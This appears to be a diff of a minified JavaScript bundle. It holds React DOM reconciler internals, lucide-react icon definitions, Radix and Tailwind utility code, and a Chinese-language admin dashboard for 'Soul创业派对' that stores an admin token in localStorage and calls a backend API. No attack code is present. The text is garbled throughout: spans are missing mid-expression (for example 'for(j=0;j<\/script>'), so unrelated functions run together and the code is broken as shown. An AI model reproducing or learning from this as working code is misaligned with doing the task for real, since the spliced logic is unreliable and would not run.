x=d.stateNode,Qo(),Gt(jr),Gt(tr),Pp(),x.pendingContext&&(x.context=x.pendingContext,x.pendingContext=null),(l===null||l.child===null)&&(Ud(d)?d.flags|=4:l===null||l.memoizedState.isDehydrated&&(d.flags&256)===0||(d.flags|=1024,xs!==null&&(cm(xs),xs=null))),Xp(l,d),rr(d),null;case 5:Ip(d);var j=Ki(fc.current);if(p=d.type,l!==null&&d.stateNode!=null)Ub(l,d,p,x,j),l.ref!==d.ref&&(d.flags|=512,d.flags|=2097152);else{if(!x){if(d.stateNode===null)throw Error(n(166));return rr(d),null}if(l=Ki(Ls.current),Ud(d)){x=d.stateNode,p=d.type;var S=d.memoizedProps;switch(x[Ds]=d,x[lc]=S,l=(d.mode&1)!==0,p){case"dialog":qt("cancel",x),qt("close",x);break;case"iframe":case"object":case"embed":qt("load",x);break;case"video":case"audio":for(j=0;j<\/script>",l=l.removeChild(l.firstChild)):typeof x.is=="string"?l=A.createElement(p,{is:x.is}):(l=A.createElement(p),p==="select"&&(A=l,x.multiple?A.multiple=!0:x.size&&(A.size=x.size))):l=A.createElementNS(l,p),l[Ds]=d,l[lc]=x,Wb(l,d,!1,!1),d.stateNode=l;e:{switch(A=As(p,x),p){case"dialog":qt("cancel",l),qt("close",l),j=x;break;case"iframe":case"object":case"embed":qt("load",l),j=x;break;case"video":case"audio":for(j=0;jtl&&(d.flags|=128,x=!0,yc(S,!1),d.lanes=4194304)}else{if(!x)if(l=Qd(A),l!==null){if(d.flags|=128,x=!0,p=l.updateQueue,p!==null&&(d.updateQueue=p,d.flags|=4),yc(S,!0),S.tail===null&&S.tailMode==="hidden"&&!A.alternate&&!Xt)return rr(d),null}else 2*Ot()-S.renderingStartTime>tl&&p!==1073741824&&(d.flags|=128,x=!0,yc(S,!1),d.lanes=4194304);S.isBackwards?(A.sibling=d.child,d.child=A):(p=S.last,p!==null?p.sibling=A:d.child=A,S.last=A)}return S.tail!==null?(d=S.tail,S.rendering=d,S.tail=d.sibling,S.renderingStartTime=Ot(),d.sibling=null,p=sn.current,Vt(sn,x?p&1|2:p&1),d):(rr(d),null);case 22:case 23:return um(),x=d.memoizedState!==null,l!==null&&l.memoizedState!==null!==x&&(d.flags|=8192),x&&(d.mode&1)!==0?(Lr&1073741824)!==0&&(rr(d),d.subtreeFlags&6&&(d.flags|=8192)):rr(d),null;case 24:return null;case 25:return null}throw Error(n(156,d.tag))}function X3(l,d){switch(vp(d),d.tag){case 1:return kr(d.type)&&Fd(),l=d.flags,l&65536?(d.flags=l&-65537|128,d):null;case 3:return Qo(),Gt(jr),Gt(tr),Pp(),l=d.flags,(l&65536)!==0&&(l&128)===0?(d.flags=l&-65537|128,d):null;case 5:return Ip(d),null;case 13:if(Gt(sn),l=d.memoizedState,l!==null&&l.dehydrated!==null){if(d.alternate===null)throw Error(n(340));qo()}return l=d.flags,l&65536?(d.flags=l&-65537|128,d):null;case 19:return Gt(sn),null;case 4:return Qo(),null;case 10:return Cp(d.type._context),null;case 22:case 23:return um(),null;case 24:return null;default:return null}}var iu=!1,sr=!1,Z3=typeof WeakSet=="function"?WeakSet:Set,_e=null;function Zo(l,d){var p=l.ref;if(p!==null)if(typeof p=="function")try{p(null)}catch(x){dn(l,d,x)}else p.current=null}function Zp(l,d,p){try{p()}catch(x){dn(l,d,x)}}var qb=!1;function eE(l,d){if(up=Cd,l=Sy(),rp(l)){if("selectionStart"in l)var p={start:l.selectionStart,end:l.selectionEnd};else e:{p=(p=l.ownerDocument)&&p.defaultView||window;var x=p.getSelection&&p.getSelection();if(x&&x.rangeCount!==0){p=x.anchorNode;var j=x.anchorOffset,S=x.focusNode;x=x.focusOffset;try{p.nodeType,S.nodeType}catch{p=null;break e}var A=0,F=-1,G=-1,he=0,je=0,Se=l,we=null;t:for(;;){for(var Oe;Se!==p||j!==0&&Se.nodeType!==3||(F=A+j),Se!==S||x!==0&&Se.nodeType!==3||(G=A+x),Se.nodeType===3&&(A+=Se.nodeValue.length),(Oe=Se.firstChild)!==null;)we=Se,Se=Oe;for(;;){if(Se===l)break t;if(we===p&&++he===j&&(F=A),we===S&&++je===x&&(G=A),(Oe=Se.nextSibling)!==null)break;Se=we,we=Se.parentNode}Se=Oe}p=F===-1||G===-1?null:{start:F,end:G}}else p=null}p=p||{start:0,end:0}}else p=null;for(hp={focusedElem:l,selectionRange:p},Cd=!1,_e=d;_e!==null;)if(d=_e,l=d.child,(d.subtreeFlags&1028)!==0&&l!==null)l.return=d,_e=l;else for(;_e!==null;){d=_e;try{var ze=d.alternate;if((d.flags&1024)!==0)switch(d.tag){case 0:case 11:case 15:break;case 1:if(ze!==null){var Be=ze.memoizedProps,yn=ze.memoizedState,ae=d.stateNode,ee=ae.getSnapshotBeforeUpdate(d.elementType===d.type?Be:ys(d.type,Be),yn);ae.__reactInternalSnapshotBeforeUpdate=ee}break;case 3:var de=d.stateNode.containerInfo;de.nodeType===1?de.textContent="":de.nodeType===9&&de.documentElement&&de.removeChild(de.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(n(163))}}catch(Ae){dn(d,d.return,Ae)}if(l=d.sibling,l!==null){l.return=d.return,_e=l;break}_e=d.return}return ze=qb,qb=!1,ze}function bc(l,d,p){var x=d.updateQueue;if(x=x!==null?x.lastEffect:null,x!==null){var j=x=x.next;do{if((j.tag&l)===l){var S=j.destroy;j.destroy=void 0,S!==void 0&&Zp(d,p,S)}j=j.next}while(j!==x)}}function ou(l,d){if(d=d.updateQueue,d=d!==null?d.lastEffect:null,d!==null){var p=d=d.next;do{if((p.tag&l)===l){var x=p.create;p.destroy=x()}p=p.next}while(p!==d)}}function em(l){var d=l.ref;if(d!==null){var p=l.stateNode;switch(l.tag){case 5:l=p;break;default:l=p}typeof d=="function"?d(l):d.current=l}}function Gb(l){var d=l.alternate;d!==null&&(l.alternate=null,Gb(d)),l.child=null,l.deletions=null,l.sibling=null,l.tag===5&&(d=l.stateNode,d!==null&&(delete d[Ds],delete d[lc],delete d[gp],delete d[L3],delete d[_3])),l.stateNode=null,l.return=null,l.dependencies=null,l.memoizedProps=null,l.memoizedState=null,l.pendingProps=null,l.stateNode=null,l.updateQueue=null}function Jb(l){return l.tag===5||l.tag===3||l.tag===4}function Yb(l){e:for(;;){for(;l.sibling===null;){if(l.return===null||Jb(l.return))return null;l=l.return}for(l.sibling.return=l.return,l=l.sibling;l.tag!==5&&l.tag!==6&&l.tag!==18;){if(l.flags&2||l.child===null||l.tag===4)continue e;l.child.return=l,l=l.child}if(!(l.flags&2))return l.stateNode}}function tm(l,d,p){var x=l.tag;if(x===5||x===6)l=l.stateNode,d?p.nodeType===8?p.parentNode.insertBefore(l,d):p.insertBefore(l,d):(p.nodeType===8?(d=p.parentNode,d.insertBefore(l,p)):(d=p,d.appendChild(l)),p=p._reactRootContainer,p!=null||d.onclick!==null||(d.onclick=zd));else if(x!==4&&(l=l.child,l!==null))for(tm(l,d,p),l=l.sibling;l!==null;)tm(l,d,p),l=l.sibling}function nm(l,d,p){var x=l.tag;if(x===5||x===6)l=l.stateNode,d?p.insertBefore(l,d):p.appendChild(l);else if(x!==4&&(l=l.child,l!==null))for(nm(l,d,p),l=l.sibling;l!==null;)nm(l,d,p),l=l.sibling}var Kn=null,bs=!1;function Ha(l,d,p){for(p=p.child;p!==null;)Qb(l,d,p),p=p.sibling}function Qb(l,d,p){if(Pe&&typeof Pe.onCommitFiberUnmount=="function")try{Pe.onCommitFiberUnmount(U,p)}catch{}switch(p.tag){case 5:sr||Zo(p,d);case 6:var x=Kn,j=bs;Kn=null,Ha(l,d,p),Kn=x,bs=j,Kn!==null&&(bs?(l=Kn,p=p.stateNode,l.nodeType===8?l.parentNode.removeChild(p):l.removeChild(p)):Kn.removeChild(p.stateNode));break;case 18:Kn!==null&&(bs?(l=Kn,p=p.stateNode,l.nodeType===8?mp(l.parentNode,p):l.nodeType===1&&mp(l,p),Ql(l)):mp(Kn,p.stateNode));break;case 4:x=Kn,j=bs,Kn=p.stateNode.containerInfo,bs=!0,Ha(l,d,p),Kn=x,bs=j;break;case 0:case 11:case 14:case 15:if(!sr&&(x=p.updateQueue,x!==null&&(x=x.lastEffect,x!==null))){j=x=x.next;do{var S=j,A=S.destroy;S=S.tag,A!==void 0&&((S&2)!==0||(S&4)!==0)&&Zp(p,d,A),j=j.next}while(j!==x)}Ha(l,d,p);break;case 1:if(!sr&&(Zo(p,d),x=p.stateNode,typeof x.componentWillUnmount=="function"))try{x.props=p.memoizedProps,x.state=p.memoizedState,x.componentWillUnmount()}catch(F){dn(p,d,F)}Ha(l,d,p);break;case 21:Ha(l,d,p);break;case 22:p.mode&1?(sr=(x=sr)||p.memoizedState!==null,Ha(l,d,p),sr=x):Ha(l,d,p);break;default:Ha(l,d,p)}}function Xb(l){var d=l.updateQueue;if(d!==null){l.updateQueue=null;var p=l.stateNode;p===null&&(p=l.stateNode=new Z3),d.forEach(function(x){var j=cE.bind(null,l,x);p.has(x)||(p.add(x),x.then(j,j))})}}function vs(l,d){var p=d.deletions;if(p!==null)for(var x=0;xj&&(j=A),x&=~S}if(x=j,x=Ot()-x,x=(120>x?120:480>x?480:1080>x?1080:1920>x?1920:3e3>x?3e3:4320>x?4320:1960*nE(x/1960))-x,10l?16:l,Ua===null)var x=!1;else{if(l=Ua,Ua=null,hu=0,(bt&6)!==0)throw Error(n(331));var j=bt;for(bt|=4,_e=l.current;_e!==null;){var S=_e,A=S.child;if((_e.flags&16)!==0){var F=S.deletions;if(F!==null){for(var G=0;GOt()-am?Yi(l,0):sm|=p),Er(l,d)}function uv(l,d){d===0&&((l.mode&1)===0?d=1:(d=Un,Un<<=1,(Un&130023424)===0&&(Un=4194304)));var p=yr();l=oa(l,d),l!==null&&(zi(l,d,p),Er(l,p))}function lE(l){var d=l.memoizedState,p=0;d!==null&&(p=d.retryLane),uv(l,p)}function cE(l,d){var p=0;switch(l.tag){case 13:var x=l.stateNode,j=l.memoizedState;j!==null&&(p=j.retryLane);break;case 19:x=l.stateNode;break;default:throw Error(n(314))}x!==null&&x.delete(d),uv(l,p)}var hv;hv=function(l,d,p){if(l!==null)if(l.memoizedProps!==d.pendingProps||jr.current)Sr=!0;else{if((l.lanes&p)===0&&(d.flags&128)===0)return Sr=!1,Y3(l,d,p);Sr=(l.flags&131072)!==0}else Sr=!1,Xt&&(d.flags&1048576)!==0&&Uy(d,Wd,d.index);switch(d.lanes=0,d.tag){case 2:var x=d.type;au(l,d),l=d.pendingProps;var j=Wo(d,tr.current);Yo(d,p),j=Lp(null,d,x,l,j,p);var S=_p();return d.flags|=1,typeof j=="object"&&j!==null&&typeof j.render=="function"&&j.$$typeof===void 0?(d.tag=1,d.memoizedState=null,d.updateQueue=null,kr(x)?(S=!0,Bd(d)):S=!1,d.memoizedState=j.state!==null&&j.state!==void 0?j.state:null,Mp(d),j.updater=ru,d.stateNode=j,j._reactInternals=d,Hp(d,x,l,p),d=qp(null,d,x,!0,S,p)):(d.tag=0,Xt&&S&&bp(d),xr(null,d,j,p),d=d.child),d;case 16:x=d.elementType;e:{switch(au(l,d),l=d.pendingProps,j=x._init,x=j(x._payload),d.type=x,j=d.tag=uE(x),l=ys(x,l),j){case 0:d=Kp(null,d,x,l,p);break e;case 1:d=zb(null,d,x,l,p);break e;case 11:d=Pb(null,d,x,l,p);break e;case 14:d=Ob(null,d,x,ys(x.type,l),p);break e}throw Error(n(306,x,""))}return d;case 0:return x=d.type,j=d.pendingProps,j=d.elementType===x?j:ys(x,j),Kp(l,d,x,j,p);case 1:return x=d.type,j=d.pendingProps,j=d.elementType===x?j:ys(x,j),zb(l,d,x,j,p);case 3:e:{if($b(d),l===null)throw Error(n(387));x=d.pendingProps,S=d.memoizedState,j=S.element,eb(l,d),Yd(d,x,null,p);var A=d.memoizedState;if(x=A.element,S.isDehydrated)if(S={element:x,isDehydrated:!1,cache:A.cache,pendingSuspenseBoundaries:A.pendingSuspenseBoundaries,transitions:A.transitions},d.updateQueue.baseState=S,d.memoizedState=S,d.flags&256){j=Xo(Error(n(423)),d),d=Fb(l,d,x,p,j);break e}else if(x!==j){j=Xo(Error(n(424)),d),d=Fb(l,d,x,p,j);break e}else for(Dr=_a(d.stateNode.containerInfo.firstChild),Or=d,Xt=!0,xs=null,p=Xy(d,null,x,p),d.child=p;p;)p.flags=p.flags&-3|4096,p=p.sibling;else{if(qo(),x===j){d=ca(l,d,p);break e}xr(l,d,x,p)}d=d.child}return d;case 5:return rb(d),l===null&&wp(d),x=d.type,j=d.pendingProps,S=l!==null?l.memoizedProps:null,A=j.children,fp(x,j)?A=null:S!==null&&fp(x,S)&&(d.flags|=32),_b(l,d),xr(l,d,A,p),d.child;case 6:return l===null&&wp(d),null;case 13:return Bb(l,d,p);case 4:return Ap(d,d.stateNode.containerInfo),x=d.pendingProps,l===null?d.child=Go(d,null,x,p):xr(l,d,x,p),d.child;case 11:return x=d.type,j=d.pendingProps,j=d.elementType===x?j:ys(x,j),Pb(l,d,x,j,p);case 7:return xr(l,d,d.pendingProps,p),d.child;case 8:return xr(l,d,d.pendingProps.children,p),d.child;case 12:return xr(l,d,d.pendingProps.children,p),d.child;case 10:e:{if(x=d.type._context,j=d.pendingProps,S=d.memoizedProps,A=j.value,Vt(qd,x._currentValue),x._currentValue=A,S!==null)if(gs(S.value,A)){if(S.children===j.children&&!jr.current){d=ca(l,d,p);break e}}else for(S=d.child,S!==null&&(S.return=d);S!==null;){var F=S.dependencies;if(F!==null){A=S.child;for(var G=F.firstContext;G!==null;){if(G.context===x){if(S.tag===1){G=la(-1,p&-p),G.tag=2;var he=S.updateQueue;if(he!==null){he=he.shared;var je=he.pending;je===null?G.next=G:(G.next=je.next,je.next=G),he.pending=G}}S.lanes|=p,G=S.alternate,G!==null&&(G.lanes|=p),Ep(S.return,p,d),F.lanes|=p;break}G=G.next}}else if(S.tag===10)A=S.type===d.type?null:S.child;else if(S.tag===18){if(A=S.return,A===null)throw Error(n(341));A.lanes|=p,F=A.alternate,F!==null&&(F.lanes|=p),Ep(A,p,d),A=S.sibling}else A=S.child;if(A!==null)A.return=S;else for(A=S;A!==null;){if(A===d){A=null;break}if(S=A.sibling,S!==null){S.return=A.return,A=S;break}A=A.return}S=A}xr(l,d,j.children,p),d=d.child}return d;case 9:return j=d.type,x=d.pendingProps.children,Yo(d,p),j=Xr(j),x=x(j),d.flags|=1,xr(l,d,x,p),d.child;case 14:return x=d.type,j=ys(x,d.pendingProps),j=ys(x.type,j),Ob(l,d,x,j,p);case 15:return Db(l,d,d.type,d.pendingProps,p);case 17:return x=d.type,j=d.pendingProps,j=d.elementType===x?j:ys(x,j),au(l,d),d.tag=1,kr(x)?(l=!0,Bd(d)):l=!1,Yo(d,p),Cb(d,x,j),Hp(d,x,j,p),qp(null,d,x,!0,l,p);case 19:return Hb(l,d,p);case 22:return Lb(l,d,p)}throw Error(n(156,d.tag))};function fv(l,d){return Gr(l,d)}function dE(l,d,p,x){this.tag=l,this.key=p,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=d,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=x,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function ts(l,d,p,x){return new dE(l,d,p,x)}function fm(l){return l=l.prototype,!(!l||!l.isReactComponent)}function uE(l){if(typeof l=="function")return fm(l)?1:0;if(l!=null){if(l=l.$$typeof,l===ne)return 11;if(l===$)return 14}return 2}function Ga(l,d){var p=l.alternate;return p===null?(p=ts(l.tag,d,l.key,l.mode),p.elementType=l.elementType,p.type=l.type,p.stateNode=l.stateNode,p.alternate=l,l.alternate=p):(p.pendingProps=d,p.type=l.type,p.flags=0,p.subtreeFlags=0,p.deletions=null),p.flags=l.flags&14680064,p.childLanes=l.childLanes,p.lanes=l.lanes,p.child=l.child,p.memoizedProps=l.memoizedProps,p.memoizedState=l.memoizedState,p.updateQueue=l.updateQueue,d=l.dependencies,p.dependencies=d===null?null:{lanes:d.lanes,firstContext:d.firstContext},p.sibling=l.sibling,p.index=l.index,p.ref=l.ref,p}function gu(l,d,p,x,j,S){var A=2;if(x=l,typeof l=="function")fm(l)&&(A=1);else if(typeof l=="string")A=5;else e:switch(l){case L:return Xi(p.children,j,S,d);case R:A=8,j|=8;break;case D:return l=ts(12,p,d,j|2),l.elementType=D,l.lanes=S,l;case fe:return l=ts(13,p,d,j),l.elementType=fe,l.lanes=S,l;case xe:return l=ts(19,p,d,j),l.elementType=xe,l.lanes=S,l;case oe:return xu(p,j,S,d);default:if(typeof l=="object"&&l!==null)switch(l.$$typeof){case z:A=10;break e;case Z:A=9;break e;case ne:A=11;break e;case $:A=14;break e;case H:A=16,x=null;break e}throw Error(n(130,l==null?l:typeof l,""))}return d=ts(A,p,d,j),d.elementType=l,d.type=x,d.lanes=S,d}function Xi(l,d,p,x){return l=ts(7,l,x,d),l.lanes=p,l}function xu(l,d,p,x){return l=ts(22,l,x,d),l.elementType=oe,l.lanes=p,l.stateNode={isHidden:!1},l}function pm(l,d,p){return l=ts(6,l,null,d),l.lanes=p,l}function mm(l,d,p){return d=ts(4,l.children!==null?l.children:[],l.key,d),d.lanes=p,d.stateNode={containerInfo:l.containerInfo,pendingChildren:null,implementation:l.implementation},d}function hE(l,d,p,x,j){this.tag=d,this.containerInfo=l,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Ul(0),this.expirationTimes=Ul(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Ul(0),this.identifierPrefix=x,this.onRecoverableError=j,this.mutableSourceEagerHydrationData=null}function gm(l,d,p,x,j,S,A,F,G){return l=new hE(l,d,p,F,G),d===1?(d=1,S===!0&&(d|=8)):d=0,S=ts(3,null,null,d),l.current=S,S.stateNode=l,S.memoizedState={element:x,isDehydrated:p,cache:null,transitions:null,pendingSuspenseBoundaries:null},Mp(S),l}function fE(l,d,p){var x=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(t)}catch(e){console.error(e)}}return t(),wm.exports=SE(),wm.exports}var Ev;function CE(){if(Ev)return ku;Ev=1;var t=Pw();return ku.createRoot=t.createRoot,ku.hydrateRoot=t.hydrateRoot,ku}var EE=CE(),md=Pw();const Ow=Rw(md);/** * @remix-run/router v1.23.2 * * Copyright (c) Remix Software Inc. @@ -419,7 +419,7 @@ Error generating stack: `+S.message+` * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. - */const kA=[["path",{d:"M3 12a9 9 0 0 1 9-9 9.75 9.75 0 0 1 6.74 2.74L21 8",key:"v9h5vc"}],["path",{d:"M21 3v5h-5",key:"1q7to0"}],["path",{d:"M21 12a9 9 0 0 1-9 9 9.75 9.75 0 0 1-6.74-2.74L3 16",key:"3uifl3"}],["path",{d:"M8 16H3v5",key:"1cv678"}]],Ke=Me("refresh-cw",kA);/** + */const kA=[["path",{d:"M3 12a9 9 0 0 1 9-9 9.75 9.75 0 0 1 6.74 2.74L21 8",key:"v9h5vc"}],["path",{d:"M21 3v5h-5",key:"1q7to0"}],["path",{d:"M21 12a9 9 0 0 1-9 9 9.75 9.75 0 0 1-6.74-2.74L3 16",key:"3uifl3"}],["path",{d:"M8 16H3v5",key:"1cv678"}]],qe=Me("refresh-cw",kA);/** * @license lucide-react v0.562.0 - ISC * * This source code is licensed under the ISC license. @@ -539,7 +539,7 @@ Error generating stack: `+S.message+` * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. - */const XA=[["path",{d:"M4 14a1 1 0 0 1-.78-1.63l9.9-10.2a.5.5 0 0 1 .86.46l-1.92 6.02A1 1 0 0 0 13 10h7a1 1 0 0 1 .78 1.63l-9.9 10.2a.5.5 0 0 1-.86-.46l1.92-6.02A1 1 0 0 0 11 14z",key:"1xq2db"}]],li=Me("zap",XA),Vx="admin_token";function pf(){try{return localStorage.getItem(Vx)}catch{return null}}function ZA(t){try{localStorage.setItem(Vx,t)}catch{}}function Mm(){try{localStorage.removeItem(Vx)}catch{}}const e5="https://soulapi.quwanzhi.com",t5=15e3,Hv=6e4,n5=()=>{const t="https://soulapi.quwanzhi.com";return t.length>0?t.replace(/\/$/,""):e5};function go(t){const e=n5(),n=t.startsWith("/")?t:`/${t}`;return e?`${e}${n}`:n}async function mf(t,e={}){const{data:n,...r}=e,a=go(t),i=new Headers(r.headers),o=pf();o&&i.set("Authorization",`Bearer ${o}`),n!=null&&!i.has("Content-Type")&&i.set("Content-Type","application/json");const c=n!=null?JSON.stringify(n):r.body,u=r.timeout??t5,h=new AbortController,f=setTimeout(()=>h.abort(),u),m=await fetch(a,{...r,headers:i,body:c,credentials:"include",signal:h.signal}).finally(()=>clearTimeout(f)),y=(m.headers.get("Content-Type")||"").includes("application/json")?await m.json():m,N=w=>{const v=w,k=((v==null?void 0:v.message)||(v==null?void 0:v.error)||"").toString();(k.includes("可提现金额不足")||k.includes("可提现不足")||k.includes("余额不足"))&&window.dispatchEvent(new CustomEvent("recharge-alert",{detail:k}))};if(!m.ok){N(y);const w=new Error((y==null?void 0:y.error)||`HTTP ${m.status}`);throw w.status=m.status,w.data=y,w}return N(y),y}function De(t,e){return mf(t,{...e,method:"GET"})}function vt(t,e,n){return mf(t,{...n,method:"POST",data:e})}function zt(t,e,n){return mf(t,{...n,method:"PUT",data:e})}function Bs(t,e){return mf(t,{...e,method:"DELETE"})}function r5(){const[t,e]=b.useState(!1),[n,r]=b.useState("");return b.useEffect(()=>{const a=i=>{const o=i.detail;r(o||"可提现/余额不足,请及时充值商户号"),e(!0)};return window.addEventListener("recharge-alert",a),()=>window.removeEventListener("recharge-alert",a)},[]),t?s.jsxs("div",{className:"flex items-center justify-between gap-4 px-4 py-3 bg-red-900/80 border-b border-red-600/50 text-red-100",role:"alert",children:[s.jsxs("div",{className:"flex items-center gap-3 min-w-0",children:[s.jsx(qw,{className:"w-5 h-5 shrink-0 text-red-400"}),s.jsxs("span",{className:"text-sm font-medium",children:[n,s.jsx("span",{className:"ml-2 text-red-300",children:"请及时充值商户号或核对账户后重试。"})]})]}),s.jsx("button",{type:"button",onClick:()=>e(!1),className:"shrink-0 p-1 rounded hover:bg-red-800/50 transition-colors","aria-label":"关闭告警",children:s.jsx(ir,{className:"w-4 h-4"})})]}):null}const s5=[{icon:HM,label:"数据概览",href:"/dashboard"},{icon:Br,label:"内容管理",href:"/content"},{icon:Zn,label:"用户管理",href:"/users"},{icon:NM,label:"找伙伴",href:"/find-partner"},{icon:jl,label:"推广中心",href:"/distribution"}];function a5(){const t=Si(),e=Ci(),[n,r]=b.useState(!1),[a,i]=b.useState(!1);b.useEffect(()=>{r(!0)},[]),b.useEffect(()=>{if(!n)return;i(!1);let c=!1;if(!pf()){e("/login",{replace:!0});return}return De("/api/admin").then(u=>{c||(u&&u.success!==!1?i(!0):(Mm(),e("/login",{replace:!0,state:{from:t.pathname}})))}).catch(()=>{c||(Mm(),e("/login",{replace:!0,state:{from:t.pathname}}))}),()=>{c=!0}},[t.pathname,n,e]);const o=async()=>{Mm();try{await vt("/api/admin/logout",{})}catch{}e("/login",{replace:!0})};return!n||!a?s.jsxs("div",{className:"flex min-h-screen bg-[#0a1628]",children:[s.jsx("div",{className:"w-64 bg-[#0f2137] border-r border-gray-700/50"}),s.jsx("div",{className:"flex-1 flex items-center justify-center",children:s.jsx("div",{className:"text-[#38bdac]",children:"加载中..."})})]}):s.jsxs("div",{className:"flex min-h-screen bg-[#0a1628]",children:[s.jsxs("div",{className:"w-64 bg-[#0f2137] flex flex-col border-r border-gray-700/50 shadow-xl",children:[s.jsxs("div",{className:"p-6 border-b border-gray-700/50",children:[s.jsx("h1",{className:"text-xl font-bold text-[#38bdac]",children:"管理后台"}),s.jsx("p",{className:"text-xs text-gray-400 mt-1",children:"Soul创业派对"})]}),s.jsxs("nav",{className:"flex-1 p-4 space-y-1 overflow-y-auto",children:[s5.map(c=>{const u=t.pathname===c.href;return s.jsxs(Eg,{to:c.href,className:`flex items-center gap-3 px-4 py-3 rounded-lg transition-colors ${u?"bg-[#38bdac]/20 text-[#38bdac] font-medium":"text-gray-400 hover:bg-gray-700/50 hover:text-white"}`,children:[s.jsx(c.icon,{className:"w-5 h-5 shrink-0"}),s.jsx("span",{className:"text-sm",children:c.label})]},c.href)}),s.jsx("div",{className:"pt-4 mt-4 border-t border-gray-700/50",children:s.jsxs(Eg,{to:"/settings",className:`flex items-center gap-3 px-4 py-3 rounded-lg transition-colors ${t.pathname==="/settings"?"bg-[#38bdac]/20 text-[#38bdac] font-medium":"text-gray-400 hover:bg-gray-700/50 hover:text-white"}`,children:[s.jsx(lo,{className:"w-5 h-5 shrink-0"}),s.jsx("span",{className:"text-sm",children:"系统设置"})]})})]}),s.jsx("div",{className:"p-4 border-t border-gray-700/50 space-y-1",children:s.jsxs("button",{type:"button",onClick:o,className:"w-full flex items-center gap-3 px-4 py-3 text-gray-400 hover:text-white rounded-lg hover:bg-gray-700/50 transition-colors",children:[s.jsx(ZM,{className:"w-5 h-5"}),s.jsx("span",{className:"text-sm",children:"退出登录"})]})})]}),s.jsxs("div",{className:"flex-1 overflow-auto bg-[#0a1628] min-w-0 flex flex-col",children:[s.jsx(r5,{}),s.jsx("div",{className:"w-full min-w-[1024px] min-h-full flex-1",children:s.jsx(vT,{})})]})]})}function Wv(t,e){if(typeof t=="function")return t(e);t!=null&&(t.current=e)}function Hx(...t){return e=>{let n=!1;const r=t.map(a=>{const i=Wv(a,e);return!n&&typeof i=="function"&&(n=!0),i});if(n)return()=>{for(let a=0;a{let{children:i,...o}=r;sj(i)&&typeof hh=="function"&&(i=hh(i._payload));const c=b.Children.toArray(i),u=c.find(d5);if(u){const h=u.props.children,f=c.map(m=>m===u?b.Children.count(h)>1?b.Children.only(null):b.isValidElement(h)?h.props.children:null:m);return s.jsx(e,{...o,ref:a,children:b.isValidElement(h)?b.cloneElement(h,void 0,f):null})}return s.jsx(e,{...o,ref:a,children:i})});return n.displayName=`${t}.Slot`,n}var ij=aj("Slot");function l5(t){const e=b.forwardRef((n,r)=>{let{children:a,...i}=n;if(sj(a)&&typeof hh=="function"&&(a=hh(a._payload)),b.isValidElement(a)){const o=h5(a),c=u5(i,a.props);return a.type!==b.Fragment&&(c.ref=r?Hx(r,o):o),b.cloneElement(a,c)}return b.Children.count(a)>1?b.Children.only(null):null});return e.displayName=`${t}.SlotClone`,e}var c5=Symbol("radix.slottable");function d5(t){return b.isValidElement(t)&&typeof t.type=="function"&&"__radixId"in t.type&&t.type.__radixId===c5}function u5(t,e){const n={...e};for(const r in e){const a=t[r],i=e[r];/^on[A-Z]/.test(r)?a&&i?n[r]=(...c)=>{const u=i(...c);return a(...c),u}:a&&(n[r]=a):r==="style"?n[r]={...a,...i}:r==="className"&&(n[r]=[a,i].filter(Boolean).join(" "))}return{...t,...n}}function h5(t){var r,a;let e=(r=Object.getOwnPropertyDescriptor(t.props,"ref"))==null?void 0:r.get,n=e&&"isReactWarning"in e&&e.isReactWarning;return n?t.ref:(e=(a=Object.getOwnPropertyDescriptor(t,"ref"))==null?void 0:a.get,n=e&&"isReactWarning"in e&&e.isReactWarning,n?t.props.ref:t.props.ref||t.ref)}function oj(t){var e,n,r="";if(typeof t=="string"||typeof t=="number")r+=t;else if(typeof t=="object")if(Array.isArray(t)){var a=t.length;for(e=0;etypeof t=="boolean"?`${t}`:t===0?"0":t,Kv=lj,cj=(t,e)=>n=>{var r;if((e==null?void 0:e.variants)==null)return Kv(t,n==null?void 0:n.class,n==null?void 0:n.className);const{variants:a,defaultVariants:i}=e,o=Object.keys(a).map(h=>{const f=n==null?void 0:n[h],m=i==null?void 0:i[h];if(f===null)return null;const g=Uv(f)||Uv(m);return a[h][g]}),c=n&&Object.entries(n).reduce((h,f)=>{let[m,g]=f;return g===void 0||(h[m]=g),h},{}),u=e==null||(r=e.compoundVariants)===null||r===void 0?void 0:r.reduce((h,f)=>{let{class:m,className:g,...y}=f;return Object.entries(y).every(N=>{let[w,v]=N;return Array.isArray(v)?v.includes({...i,...c}[w]):{...i,...c}[w]===v})?[...h,m,g]:h},[]);return Kv(t,o,u,n==null?void 0:n.class,n==null?void 0:n.className)},f5=(t,e)=>{const n=new Array(t.length+e.length);for(let r=0;r({classGroupId:t,validator:e}),dj=(t=new Map,e=null,n)=>({nextPart:t,validators:e,classGroupId:n}),fh="-",qv=[],m5="arbitrary..",g5=t=>{const e=y5(t),{conflictingClassGroups:n,conflictingClassGroupModifiers:r}=t;return{getClassGroupId:o=>{if(o.startsWith("[")&&o.endsWith("]"))return x5(o);const c=o.split(fh),u=c[0]===""&&c.length>1?1:0;return uj(c,u,e)},getConflictingClassGroupIds:(o,c)=>{if(c){const u=r[o],h=n[o];return u?h?f5(h,u):u:h||qv}return n[o]||qv}}},uj=(t,e,n)=>{if(t.length-e===0)return n.classGroupId;const a=t[e],i=n.nextPart.get(a);if(i){const h=uj(t,e+1,i);if(h)return h}const o=n.validators;if(o===null)return;const c=e===0?t.join(fh):t.slice(e).join(fh),u=o.length;for(let h=0;ht.slice(1,-1).indexOf(":")===-1?void 0:(()=>{const e=t.slice(1,-1),n=e.indexOf(":"),r=e.slice(0,n);return r?m5+r:void 0})(),y5=t=>{const{theme:e,classGroups:n}=t;return b5(n,e)},b5=(t,e)=>{const n=dj();for(const r in t){const a=t[r];Wx(a,n,r,e)}return n},Wx=(t,e,n,r)=>{const 